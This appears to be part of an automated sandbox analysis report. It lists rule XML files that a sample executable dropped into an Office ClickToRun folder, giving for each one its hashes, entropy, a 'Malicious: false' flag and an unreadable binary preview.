Preview:	.<?.5x..G.N...;.v9.=ZkV..<.......b..9..j....p.%.+......A.MBS.a{....%.p.[...w.qQ.VSi.R.5...A........qk%./...G.]U8Po.Vw?..$\....^?}....j.k.?....P.@R}^.'..O@.8..v...C..9..9..K.......v^...3....Z;..@......j...;.h...%...;.9K..M.2......Qz...KN.lr%..2.u..>x.cu....m..6.c..{...l.#z ......Y"B.F..AP..Jp.@F......$8K.O5..).)<.X.T[b.g..x.R. '.9'.f.....L..".>3N..u.&.wW{..Umt.(....4.rS....Q{.l..Q5S.@8..#fh.....!.. .....}n.WV.6.....e.W]Kw+..X~.(.Q[.u\|.0..:VzM..qi+.#..Cc.... ..O^.g...n.%..=.........M.=..g....../..CdZ...b.@....Iz.g.....3.X..@....fO.M.X_;]S..1....m..("N}3..^$.-...iF...&....d..b.i.......9\.&..c....Gc.T...o"r.E.T.s....P.Gb...(....k.L:..`...9B.3BX.....-...@b......Iw.<...U....N\g.5../..<.(X2....3T!./.x@6Z.Z...CPn.4.4..s.E...N..@.p..t* .<.^?.l....yQ.\......0.'.&.h..5.\|.]W..s....lI.KeHXW;.0...e9........Q....qF..M..W.r.-.....5yD............/..Q@c.h..{...............[..AN.1..T.....z......`9$......SE:..SA...[hF".T.C........)...u`.Z.i=....iJ..Y8@......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.868728988328443
Encrypted:	false
SSDEEP:	48:9XWN0+5tz3YV3usc48Oyt4fUPEAbaJswliKPiD:9GN0+5tzoRk48OytEUPEya2wwx
MD5:	797608C595289B68B67D062C5A57F46C
SHA1:	66AE7B5678619A3DE0E726B5009844CECE7D96EE
SHA-256:	6CF40E610E6BFB94EF9D8A321FC4455DBEE3A76C0CA9E061F8A7A7FC84D3DF9B
SHA-512:	C4792A3F9B6926A1B9914E90822BE0A0CC387BE3C85FADD433C4CF18ACE324DAB798936FF424FF53B2E2651F144988C78611FD959354137FF32CF81451033115
Malicious:	false
Preview:	.<?8...V.c..q...n...n J>...e..}Zof.. ...~".CS,..!.t@1.".....gvr......O9..U..]6..[...^.........I..]7U......1Z.<$..:8....#...81...p83.^...<_..U_.8.`i.\...Z....q..-4.\..?[.}..8....C...y.mM.\|...YE...i.z..........U.MY..5~1....j..U.....w.m}~4b.....r...i....DT.p~...)m.....\$.!..=(@[^..s..5..t..1...v\......n...$..>...6.}..........M...v.B.;.`..<......9...s`N....-..W...C.;`.........A..`.{.w5._e].>~......Ryy...=B.....V.....DK...)\|.[.."pW.P....nN........a.Bu-...<v...5x@j....\+m.......q...)s...n...m:z.....;..........h..?.i.^.?..*;.GA5C.^p.'..Q../..s..A.....A.Xl...e....q...$x.}C...Z.<3..x....ip.bV..E7.Z.G;C.R.89..l.......l......;.D. .&H.X......^`............Vd,..DO.....n;p...0.1..V ..O.S....#O.~S#L...4..\.NKc...V.9.......}5.8.Z!I.>..$U.X.....cB....u8H^..d...=..)+.T...\Lj...H.m<......UC.N...[...2..g...aj.\.c.0.@:.Q-n...e.P...KLZ.rp.B.;...n].4.....Xk.....z...8..g.....V....Bm..}4...y.!j..t}....K..L.....z.y..2.3O.....o.tH..c....e...E.l...x?...D...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.8710240876451625
Encrypted:	false
SSDEEP:	48:7mmpa8PyA4z2+z+hMhV4KyHECEcSKXnCLEdQxIiD:SmpRPyA4z3hV1JCaKXCLEU
MD5:	A80052AE9C23EAA37A8026A4FAAAEF46
SHA1:	C2602920FC087CB24DAA829F58DE9332C5213B47
SHA-256:	2594731D8CD95E439A8CFD6F954557FA7C51856FE65B2573B2E5FAED11B35093
SHA-512:	350983B97EDD5B95E07191D79892811A46E684E3C3EA4A4645C35955A95CA884B00BC1A00BA1BFB05A5BF6F820575D7705C90F3BD69ECFFF851BEB5F82352D67
Malicious:	false
Preview:	.<?.%3#.R.4.u@T'..N...H._....t.[.5........X.R.^.X..rL.....;.....k...x..F...DB....W1?m.Se..gGm}....RWlw,..w.Z..5........z\|.W.1T..F).Z...A'.....y...y.....s..I..........$..M..b.h.......=.r'.>.0~.l..5.,.?J.wNm....D....;......a.C.....]N........p.i=.8.. }....N.6..."..R.W.Z...We.]6..$...H.....\|l.Ql.;#......y..FZi.q..AOe....@&.z...5!"......dkmlq..u...b.2e.l..07.U.<.....\.H...uI;.~~Z.#B.z...S`4...Cdu..../.Bkg=......w;.wI.Y..)U......\...3)..,.h....G.../...D.......X..G.!.l.w...;..........G..$.i).T%i..Y......F\|.y.W..#fj..J.Z.Rp.j....K=.`.x.....t.::{n:.....t...J...`..gH..,zP.}........^I..*!...0.-'F.'..u.F..:.#.i.C..,.zT..6?gN..N....SS.....xR#. ....{D.@..t.Xz!..=...o$.4.6.,...?vU0....\|.s..2s.h....I.^.CA....-)(8s.A;...G..'&...o.).3...e:.q....u....=....n.....J....%!..$......4...]../P.......p.s.A1.@`.B.X0i.$f"....................?..NN.....jn.#....j.....G.U...W...$=-..... ee....p.p...9k....].f.}].y..f.r...n.0.G.J.R.k...X...<u.fh.f.....='[.K...n..N.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.885352967709427
Encrypted:	false
SSDEEP:	48:77kRrORMqdE2/1VsWqFiYG45e0GHpmE8REviU4jRhviD:MRCJtjs9FtpMIZqviUn
MD5:	01BF85A58F303B7D91B7DD4F9584539F
SHA1:	0ED810FFEF83EC3269AE4F669B51081CABC5C78A
SHA-256:	192F4425994CEDBF0AB8EA88C083FC9A240C1B447618CAD516F4F8343104DA7B
SHA-512:	33FDB8B0762170186A3700D3021AD0182DFF4F825DD8B65759F1F302F97B3602FBDED8C21E8D783B1BBDF978470EE01AC13AE23A5A3F7B2667B40B4867BA6CDA
Malicious:	false
Preview:	.<?.]A_\ ..m].3P.<......1@b.!....7..HA;d..R.S..q......H,.I.n..q\|A..6.M. .\|t..G.....9hA....K......o.^T^H..[...:..v.4.O..;..E....l.K..W.......F6...}.@....&...../.\..n..T..?.N\w.m...?....[.F..J..$..Lw.......t...=.m.9C.x.......y..g-..p.~...,H.}Nd.;..,.~{Y.K..._."V7X..H..MmTZ..W@ec..8..,.......Y.(nf:,.f%'.....jz..I....,..{....M..T...Z.~...J..g.a....&.z!e\.i...4.f...#.Zq.h.z`.O...a.J._K.<......^.....R.o.n.(,.Tq4v..-@6.;k.&.....N...v....G(.?.qK7.D&.....M)q......`5,Hz#..$]....<...JG-....d....a.*.s....Q..w..-}.jF.....8l..p2.V....k..,..._...wF.N.Y..b.3ap.!.@..i..>..in..'..j..iiD...d.z'1r..../n ...#...en....~.....!....Y....oK`>.r..n.$.....cD.9....)...[.w?..2...r..........W.x. .[..........>).a...[D.#z..%H,........=..5f....1.....V...q...&..K6#:.. M....!.....P......hI....[..SB.4....k..Kj....%Z...c....e.<....n+...F.B....1..?4..6.@..AjL.5..r.p.%.u25,.r....3F.....o.<..oE.........j.M..;.'._..5..+..6.@8..F..&E.({.Q.....?t..{.....YL...>.bS.1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.8877198467986585
Encrypted:	false
SSDEEP:	48:7N2OX1/duPYP5f8ayZx+HNbQZuoQ2b4b+tJXiD:J2OX1AP2HyK2Q2sbKk
MD5:	A275DA3D1B87138A2C5AAFC94C17C983
SHA1:	CF4631FBE80C1D8919183906548DCC008EA5422C
SHA-256:	606314B80A492B105958AB0EB8B922F19D5A51F75118500B4AA1C0138FD8FD5E
SHA-512:	938EC8BB05963828802F08156653D799ABD7AC3CAD6DBED1A4B18AD62019E60820223D2A49B0FF1D0E18F5551E1215FA3EC7795DB5B1E1662EEED9A814ABC7A1
Malicious:	false
Preview:	.<?.O....8/.=.v..)....%e.....+.....j..&L>.../_A..".,..........hA.p.E`..(.?...#4..9....G..o.?..}.....>p3..Ca)Dsb.c.....9.Y..w[...dt...7>..4...y{.......']eB.v(..j.....b..f.>TE.p".;L.z...n.H....EzA?^GA.g<...jG......\|.....!..[3......6Q..'....I.;.3zR., ..-.T..y5te..-..:.C.Z.b...T..b.!f[,WB....0..........Sm.d......b.Y..Pb&.......R..M.'..T.........%F.eR....x..>/..`.:;..].;....n..IE`..&N......S...O.$....7.%..l....d..I....>....6....`.S.X...-..,.~.6;...G.YM68!.^r._.9X\'iS. .!............6..9O.E..Y.[~.....M.z(....N@.@.\=......."..:......]%H.N.... ./K..j.)z.'.k~...........pv..D......Z.f..U.UR...fd8....-..m+..q/.5#..@................<.T:....2..R..c..\|V..W/O....t$T..U.....Z#JmN..f..Ka..%%...._P..H....3...'+...n.jr...D.u..V1k..o....x...n..u(.&.-..S..8.n....zd..8.4..%..'.SF....T....<@.....v.w.....!...(.....k).zP..Tg.h.$..HYt#Z...[")D.I.DRF....`.sD,3..i.s...dX. M..N..huO=..4r..GO......G.kc.R.+....i........9y.#.(..OF../......a..._.....w.I,3.Z.q....R2/]{..5.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.889901225275237
Encrypted:	false
SSDEEP:	48:I+jLQA7N8odiMCPlbYcwFiRGjjhvQ1upjZr0temiD:VcooMCPlkcuiRGjjhKupjZxZ
MD5:	10726C84D48062B157FF4C8606834837
SHA1:	0A0E1F0F742797F67E148D0C8491D1F63E5B01C2
SHA-256:	1E5E273CE00404D488A0C24026A2A456B11696D29B3841E74FE7A73392CFEFF9
SHA-512:	6D41A0B75E81DB2B07F81212CCD6428C7AAE64A389D89CD8ADE700124243D1FAC973A5F198F1BC049E060A4683BC642427E2AF157514183720FF016AB95DB912
Malicious:	false
Preview:	.<?........\...^..a60....u(..Q0YS,.G.n.n3.U....z... Q.Ha...f(..\|Cc.....Uz......i].l}J\.w.~.^.SY.2GCV....m>\..6..X.%.[x...2....r.U....4.[...R.U...0J..6j...}...v}.B...-.c.OI8.......Oe.%<..7/AF.z.F#Ei.+po;.f....C..P.T..G.....8\|..B"Uje.......m.%.}5..;.C....K.]......yF...U/e..O...g.^.v...'X.:.....P...(:...?...E...$. P"2.e......M..F7x....9......<..^_&VqH..Ni.]._..N.FL@.1.....:H...#.Y<(h.`..p....)...m..)....FxH10..l.......d.f(y.wJ.t...A..r.xZ.n%......mG.5.6.Rrgr.c.s...BR.;/.........WZ.......p..9.Bj.a.4.4Z.Y.-0.9kj.P......j...D..6.~...x......Q...@....V'..'..T.16X).F......h5Ii...:....a.i r.i.$U.,.4....)u3.c..7.dBZs.......5\o6M.G.....P.y....T..T...w)..............:...ML......{..z[.cv....L.,>.....{.u.......>.....{!.%..wN....N..?.t.?4^....\|h}Z........!..X.h..O..n....n2..zT.p.....fp...-U.E..Z.5!....T ......2....Y....d3.. ..f.?a...j}...v.``o.\|....>.g$..q.'..._#.:&.\|...o.....;...3p..>....1....K..u#...T.......N.ivsw...........n...R..o.;I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.8865966762186
Encrypted:	false
SSDEEP:	24:an68uEWCMpHjJxJUVnka9oYZkgn3OO1JQ7OOzuIzGJFjYolo6FG2unyglV/go4v1:h8eCMltxJUV9Kgnla7OEzGB7G7y5qiD
MD5:	B184AC7691942488162EBD77173D0CE0
SHA1:	E9D4A7FD8B5075FD02CF7E0B824DE9C7A4E3A951
SHA-256:	8B0513AEB679E22CA5B75D8616A4E9D667968547E5C8C5FFED05A2B2108D7B0F
SHA-512:	1E5D0514A27995E40D5819EF4A910007CF80B4981512F770F89ECA8FF88383007974AC3FFB9A67ABAEB8AF128BAD1E2C661CD8A39640A044D446228BCF858EA6
Malicious:	false
Preview:	.<?.W..R..fq.TkV......0.s...s.f.."...YM..P...^\|8m.w.eW.!...V..KK.mB..z>.R@J...@......k.....A...r.../.D.p..^..........w$&....j.i.^P.j7..w....x..-........v..S.eA'.j.mK..^m..=!.....@k.+..k%..=.-.Q.$.=G.......V..Q....w..N...g>.2?36@.V.U....W.U.o.3...n.eF\|.......`...FT..s........h.0g.....OO(...B...Z..<.d{v+'Q............S.R`.6.....>T....6.u...pz.d.oV... Np.VW...MG.AC.......T.".:..(...W.a..0..,.u{.........P>.Gl{L.Dx.&IQ .....D?.hJY..LP.&.;.T...$I.U.....!Q.<.n.2a.e1Lc.4<.....@...8.P...RTT@wL.r.c..1.$kB.K.hO..h..#...=.;0%S.lv....JJ..w...i.".8.$..E..L.u....../..hg.s...}...'.!\|U.s..I...9...XK...dG.........j."A.....6Q[...j.1\|.-..e. g!...Q........AJ.W._W..F}.?.G.V..jv....2..!.QJ...i.:.=......... qz.....Fgb..!](.@.....:F'..=.R:}.:.O...9....S.\5.<yvn..i...D...l:..K.\|.y..K..J6.. Y{.[.\.. .`.X.}.A'......~.....m.^...fr3...J.8c....4....i.Oh...g..k.d..~?.....UQl8.b{%...9..G...E.v....8.Y...7......^<...#.3Y..l.....i..j.@x...@a`).T).\.G.;."..a.c#.x...2

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1759
Entropy (8bit):	7.876595395293073
Encrypted:	false
SSDEEP:	24:q2/0RAX3/qTXH8AUfINJNFFDvYlYjNDXUHnEgTyARepxp3dtY+pgGoNk2Cw1ZdJH:d9H/3Zf2zMlWJUHMpxRdtCD1jJ4iD
MD5:	C10DDB66AA9DC6BEC8EF6C585B5BDA02
SHA1:	B0E1B0B45B796DE4A5D9E15D05117653E451BB3A
SHA-256:	5CFDF4C8B8DD9421B49A644A4EFC86499EBD9291FAE040C4EC121700620BAB3E
SHA-512:	60C589E2F9F897AC8006D6B7C8062318BF8E385FF25996CDAFAFC911185AA7A7271E1CA4E61F171D8BE09424C1A1FE95446E5509539BF9C94492AC5E857EFC1B
Malicious:	false
Preview:	.<?..V....l(.... .(...J.uYu..n%K..-G....3q...=..l>....=..I.....(..q. ..qv...+......Oc.%[..l..a0*.Gs.&z..d{ ...)V..e.a.0\|..W.0..1.V....#...;..........X.]tk......3..9R\|.v....q..b.s]..zX.....B.x...;...@... ...B....wo.I.yM..O.c.^......`....%3K.u%..B.5U...J..\|.l...SG....@bz......=.1.X.Q0....Lp......l.....t."...I%[..H.{.=.Aq.......s.@fEcX..q..ht.`,.t..X..1....(x....V[..6.%..SYT.....1...p.e..cJ......f.....u.\|l.j..".AE..7P.Q.K.9..+...v.-..a.e......8o.N&.g.R.mq..A~...g.k.G.?..L.~[....Q.V.@..L.[..W..d.\7"e.Y.R..@.M.B....u..p.f....i...O..w.\..S1?..}/.p...........L.q..t..!....b.....8..+YK..{I........p.....(Tt9/.i{..L..m.K.h7uc..D.T!.x..y^..w..vr.v......Z7.g.yC..k.;;U.J...Q..S... ...........5....3.56:...1.1....@#....{.S....). .@.;....x....~x\|.,.jVR..-\|...=.F.\j.p........R....g....U.....#.r.u....JL..!.=9..P......$.......mnw*}H%.^..X...7.S...5.$k."..O..:cX...~.jf.. ..^!j...I..v.:..m.G....y...X......O.aCy[..e.BdfA,...n.1..r......97<.....8x...^...${

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.880461135898514
Encrypted:	false
SSDEEP:	48:GE9kRgEHNua0MUmxzvv3BKxUyNlDFVciD:BHA75Bv3BKlDFZ
MD5:	93C51DC24F9FDD2F424E3B02C3F2BF83
SHA1:	39D5F57DCC40213D443BE005B1F01DC5FA9CA6E4
SHA-256:	3D697478B0F9160745C835F97DA1FAF6F26F5E9B556C17271CFC639CA2C4D82C
SHA-512:	9384E9A938267F60C05D363C04CE2E78148F5DBA5F86C9758CAB81EE521102130833659AF56A89DC646CA9667CF1B06DACBA3876A50E448A7B602F8405D069C7
Malicious:	false
Preview:	.<?.p...&........9........N......hF.8.P[............w.ziq...Uc...z..+.....,.........TW..Rc...I...d... $.......b0...p:)Ba.U.CQ.3q ..o{..7Upa...?rW..`....G..C...{=..P...h...1............<.t.1......l.ep.k.6.a..}#.0..a..%.j....YA.5.=rf..H,..`oM.{..3T._.a...._N.-$.+.....!:..g....E..B.7...f.Uf..E.8~.I..,h..`..[.KB....8...-Mk.;.......\.8.(.SF.".9...C`L.W.^o...T..a.d.....i.y..g..y,....\...I).G...\#..j.W...;....cB"..C.gU.....At.~].M........5[.b..>.' F...h..u.{.%s..0M...@$ko..r].;...0.h....})....%..g...a.'\|p....3.....].e.G/.T.>..}..E..fq..,...P..w....6..e;pk....Y'%.d.w..;........3.Y.qWN.k.R..<)e...k.xD..B.W..%1..\|.........U..(....D-H>..Z.VJ3..(.B...5x.f...m..:M3Ma......y....pF...U..E.<.]..vY\.....=........n................aR...!../w.E.....6..`..).. J&...G.....D....}rT..KP...B.......(......'.m......;....).?.}G7....a...4L....#...#...N_.E..?k8..vZ..... ..(...&..".T....ej(r^5..y.E.....F.O.~%4...R..).CW.....b.L....t..!..\|..........N.c$........sOj8....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.88451179779294
Encrypted:	false
SSDEEP:	48:g96tJ30sbVZe7N7/03/xaaN+4pCG1kzz21EguEqlXiD:gMfP+7FE/xSGD7qQ
MD5:	2BD9DE49507FF9AC7B9BC7A484CE9607
SHA1:	5AB86AF978D0C3B1A4F4A31BBC1C43385047D7CA
SHA-256:	5CA51FABE31FD7B70EC44786B8DDC30D89C64D89BF68A3684EC07FF5CCED06D9
SHA-512:	A2F6463F19D2C91B972F274262B73725E780D5E863DA46D7720BF1B2523EC97BD870E99975413570196E5C9310B49949B851C86229A81558265F4F725F8639B7
Malicious:	false
Preview:	.<?...+.a&\.SM.k..l...3.".@..S./.p::...1r...jDIY.........d.<z..l..Ol'....'H.5;Z.....]..e.:..........9.M...s.S.5.Oc.p..^...q.X.el....Q..'Z>qX.A...T.V.'...o..(.u.B.b.....E?..^.:.(.H..~..>..c../.......p.&..E.\ql.....o. .unpj..h.Z.~......Qy.5.%...(.......GZ..q\,.M.{..kM..y.....K...>V./.V.........9..b..g.cj\...l.-%..&.o..f[..L..... .j..+.-S..$2.....i.aA....q.....3r.........&.+._..h.28..vZ.bY.'.../Y."..i."...b.I.#..... ..#..F.'.R...[.....=.5.....&.g...>&.X$.Gr./W.j...3...bQ0.n<.R...p.yh...r..6..n......w..wpP.u...n.+.1f.c@'....v}{.y....F0...iRC......5T.'jC..~....9.~.0/.dU....W..\|cb..&r.....-.6...g.-.......5.%c....{..e.q.G..Y....4...3.0..1....N.E4.F....zh.P..a...md.m. b.........V)e..5^w....jj.6v..B......0O..O...x:...t..`.i(@z.hN..>......./9..].g........0...x.2...6.$L..(..=..C...I..a.{.3...Y.._..7u.&..J..=....,.....C...\|..q..j....\.p..-eC^`..-[_g3.2F.8....c.o"..U.;.. ..R...1.h...."...O.... .:.....Z}?.)...y.z.lQ...3..O})....83DZF

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.877521056752672
Encrypted:	false
SSDEEP:	48:LJMBnnFLN+aXkU4w/hhRzB+Tc1a7V/xTGHiD:KBF4aXkJ0hhtBtiCK
MD5:	5F6F3020D917DBB176BE321EF814FCE3
SHA1:	14B42A7F8A61E1A683E015AEA278F321A99B0DCF
SHA-256:	5259FDB2ED4E7C5E77109AD1B3D51B05044D1AFFD868ECEAB6A051C2F12DE23E
SHA-512:	F53A208C444142D506AEFC3FF46E7BC8E29F966ABC74C372FD1BC8181A9A05A4CED15AE70001F075577818A62D7A5F6E8C57C810C9385C70675BD0A9C6D2CD21
Malicious:	false
Preview:	.<?...R.c~!;..F.8K.E.=.ld......#..g.?.w..............=.l..t..9v4$@ X.d..S.t%/.B.6..25.LG.m.1..L6.z...q..k..r..7..ol...N}M....^..h)....n?.N.3.;..Q.r<T.Z..Iq.Z.........x.....O....;>2X..4...HQ...I........n.h.[~..5o"H~...ML1$.A.........h..o.l.kN....P.+.,.j.PoU..@iI\|.......U6.a.6.Ls..g........#:J.9.1..s.b.......D...I..<...;.%..NE......RT+Q1........B.).....f..n........t58.M/KmN.V..:.\..5.fV"..\|..2u.8..p..eM.me(.q......~..o..b.....@>....7...u..P....q...{.cB#&,%m.........X....~.V...I= ..)2._.c.T......uL...L...?.YO...~8pu.... .......L.P.......j7.H.q.$".c....-4@\|.w.1....Qe....#7_...]..s..&[.(.p...r.589M.._...2..~....w....]C.1@...A.K.......!B.......bz......x.....>.....!.....`..\|v..3.{...HFj.X".....u`......J....O#{}.`... .a..5\|I..b..#..`/L.CsqZ....b....!?0...y.V.6.uN.g..-g...(b.. ...7k6..........y{4. ....o..DM..@.\| ..>Ot.&;y..l#)O..0..eY...M.tFB.#..N...eG...*..v..V..}5;.....[...Yj.I...e(?..9......w.&w)_...FS.......}A..X&...Q..x.6"...#/x....Jx...V..}C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.892214074311226
Encrypted:	false
SSDEEP:	24:6nk6Uam2KWYfvRLtcOtRFX44Jh/NHEyvzPgTWSjOMKEv1uKTyNOJeg9YTAsrauu1:6nk6bcRQhKfMF9uAJL9CauLiD
MD5:	A8C9872DB63DD9083FA7C161A481ADB1
SHA1:	E38C974FF004A1E208A07402188139BD5E03C8F9
SHA-256:	FE21BC21473640F6FEE7060CA81DCA8F06B64EA3B7E14578387BA22CCCF5293C
SHA-512:	168380C26287E0977BA67C1F549028FF605D0BA09AB52B5ABBE1A004E726E544951A9C92BB31AC33904BA83E4DC3EC34F00C77DF73553411E825D73864AA2995
Malicious:	false
Preview:	.<?#..Y.R98..eo.X.A...e..3s.hU.uB:.<...... .V....V.........V;'.....v^.RQ....n...)./........4...:.?[..:p.9..+.s4.a....zh......r....R.ee.(.i.......c.JQYM..".Y.....;..R}.V$...........q.K...i.[.P\..................P....Re./...!$...p.F-.9..=.......x.5(../..2]..j..\|.....7b..S.....7....x&..[Z{B......X..oY.S- ..D....H.-.N...Q".......Ezhmwj..:....K.A.4.....3.$.(..i..va.'.^w.....t,I..............:=..%.....g.M..K..R....o..a.>.j...w...Hk..h..}m...$.."DQ'.....w.+.(... ..@l..Z.......;...E&SL....'..N.W...%.P4.k....v.R./.".2.)..,`.E>...v_...S:...1.!..................7.......w.j...@.Kp.r.@.C)...sj0._/:..;O..._....5U...">\|.....A.......QgM#A.O.O4q.....:.W..oR.I...U.d...........D.g.Y..$}............[9.^d.........{I.c..U.V...)..\|.\|..z....Q.+.>...e..D.<.s..8...8..:8+.f.z.d...m..~.+.Q.a.....C....O.r%...I.........IJ.l;...<.D...$Vw<..Q..z....-7.w..UB.Z......n..Y...%..E........V....Hi....+.6f..v...J...\|..%.rW.h.'...m....R....gU6/.ht=..*B.s.E.G..xlI@7....!.-.=Q..l.S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.892854163295611
Encrypted:	false
SSDEEP:	48:n5ceUpIZyYH5rWorkqieKeHHDWkwoqeH2CQiD:5c6ygNrkqFljWAH3
MD5:	429A5962427EECBD24E838AF895035C3
SHA1:	DF52365BCCBC5205145F6B27016669875D33E695
SHA-256:	920817491669B2929A80785DE5D1A9C7F0CDEDAD22B2327B43E406C900BE9ADC
SHA-512:	697BFCC9211B3FDB7476602722C693107463D083EFA2E07A2EBB4E3C3B4BC721E65F356A86BE1A22C26EEDC76AA84859D499A9CDCAADB09CC0D2E76A47A3701D
Malicious:	false
Preview:	.<?..?t......h...^.\f....0.......?...t...:.A.... f...\|5..v...`.r...<.;x8P6........B/..........a$.&.,.34;L...s...O.#.Z..............a......B.d......"6.V...V....g..!+.q....9..k.\|p.):.Q..:..F.4.....fSu1...T.`}.?Q..@.9h!..(..b..9......Y..$....R....L.il.........QhWH",P.X6.N..2....Y.;..q..l..$D..x.../..u..\uWJ..L..s..k.0.A.#%....s4o......x.%..]8f$0r.....d..V.f....\..M.[.e@.....q....j}.Kp.6.$..E...q..._.0....K.:..K.q~Z.x....W........)N.....M...>&=.]..}...V....u..........i\......`.N...Rg......7......@.e.Q.....w\}..@. \9. .....,.b......$......pY.&.BF......"...._.<b....8N......y... .Hj.....Z"..,..U{.'.h.......Y.s.....Py<........x_f.&3VDV...w.n...x...=,h....;x~..h...O......2FB........%.a.h...j..,....]..pR.v'.eO/.p.&2.9.8&bu..t.`...."w..;..?..zL.).V_.5...N.$....!.<..u...G.....I.X..NG..2,.^.4n..T.,X.AW...$......mT-&....CF.....'..HV...>.w.^..}.....6.#..u.c.....q......}."...?.T.:z'`.h{O}}0..z.D.^:.+/N.%...w...x.....g.E..m.....N......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.8800031148765886
Encrypted:	false
SSDEEP:	48:Bg2n4Dlkh5hmrlgRznbB0UDNU54XPy1fiD:Cg5hEYjiWD/y1y
MD5:	66A795258D457E2A23AE3B1D22719A45
SHA1:	522AC0E686F3F8B09C51C9D0EEE351705A6FBAD8
SHA-256:	BA67A69711559BF4EC601E1E0C72AC481661BB9B87447F2F383704A1DBE4CA4A
SHA-512:	DED76A873FF4425963573FBD556DC3BCF970581C869A5EA03CCED4AF491643701BF392A94327CCA56D895CE78019F090864A492E9D9E8AE4D980601C2362BE87
Malicious:	false
Preview:	.<?.ty).q.Ko......GQ.w.....e.u.J3...Q....a.,./.T..`....Fdd.M..$..d...A.1h..+.zA......q[.....~.T,Lv..p..E.l..]..B.:.-.-.....g.Z(..........].;.l%S.........@.#.$..p.`EV..eJ..~...8h..CL...6R>..Z...&..3.qL.M.._{~..q..@..)...f.h..o.6\|I..f.. .7.b{..\|......`.....-.7./&.Rt@....w-+.G.T...G..v...z.....=...M.`<}+..O.V..!...X.{.I.Q_..a.......h....0..2...'......N...K..D.3.4...4%Z....p....{\|(..0P]9..<.x...........l.o...vVm...zU.."..N.S..z........2....Ivfx..o!y.`...[.....+......OeG.{4..1..WA_........$N.......<c.".~.i....Q.]F.?s#.U..Y...25.\.....C'...f.".#...l..Kf...'."o..,x...c.....i\|R...0.Y....@RgTm..Lu..w>...u...fv.......sl.H..@.W.`..v.UH3.dmo.A.+5.c..+g.w..4....&......$...B.>......i%........3.......N...B._i.....).M.....D......ap+y.....Wl.(....Z.O3...Q.....q..Pa..?1g.h.U,...y1W.]/..........~.........t.M.s..%...*$....d....U..=.....t..`.JpW'...l.m..#YT..q..I..6 ./(.j...W3.[.......Cw>..a.+.#... ..W9./;).y..V.k..i..Z..5..Y.}..T..<%..q.<....i..v.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.872472578809211
Encrypted:	false
SSDEEP:	24:nR/+nVIFiMJxZ2La1D6NZzEpk0/m0j8BIHpdRnF3gxr+6dQD2486bAfK4xwRg6v6:nk3MJxZfb/vvJaQS4VAxUgHIiD
MD5:	FF4A5228E5B46B70465FFB459FDC1C74
SHA1:	FC35D84B3A4C85DB3C3532F432DBA2BB0ADF2064
SHA-256:	43AAD87859A579654359FB666B48608120D878DDB3ABAF4EECBAA8DB66261048
SHA-512:	8980D62E612262A1DC5A552EB612E51AEACA6A2B4DAAEF51AA11908A4EA5983E49E0197A62384FB402C07DF3636376B3B46E934420B73C30B92886AA3DDB29FE
Malicious:	false
